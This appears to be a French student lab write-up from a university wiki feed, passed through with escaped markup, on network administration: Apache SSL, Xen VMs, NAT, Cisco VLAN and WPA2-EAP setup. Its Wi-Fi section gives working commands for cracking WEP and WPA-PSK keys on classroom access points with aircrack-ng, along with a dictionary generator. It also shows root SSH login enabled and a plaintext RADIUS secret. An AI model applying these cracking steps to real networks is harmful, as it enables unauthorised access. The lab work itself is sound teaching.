        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se &#039;&#039;&#039;ssh sur le routeur&#039;&#039;&#039; via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Création du Vlan24&#039;&#039;&#039; avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le &#039;&#039;&#039;vlan&#039;&#039;&#039; que nous venons de créer ainsi que le &#039;&#039;&#039;VRRP&#039;&#039;&#039; j&#039;ai fait ceci : (&#039;&#039;&#039;/!\&#039;&#039;&#039; l&#039;adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d&#039;éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie &#039;&#039;&#039;wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre &#039;&#039;&#039;point d&#039;accès wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc &#039;&#039;&#039;incomplète&#039;&#039;&#039; et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12353</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12353"/>
		<updated>2026-02-23T10:33:41Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Partie VLAN */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
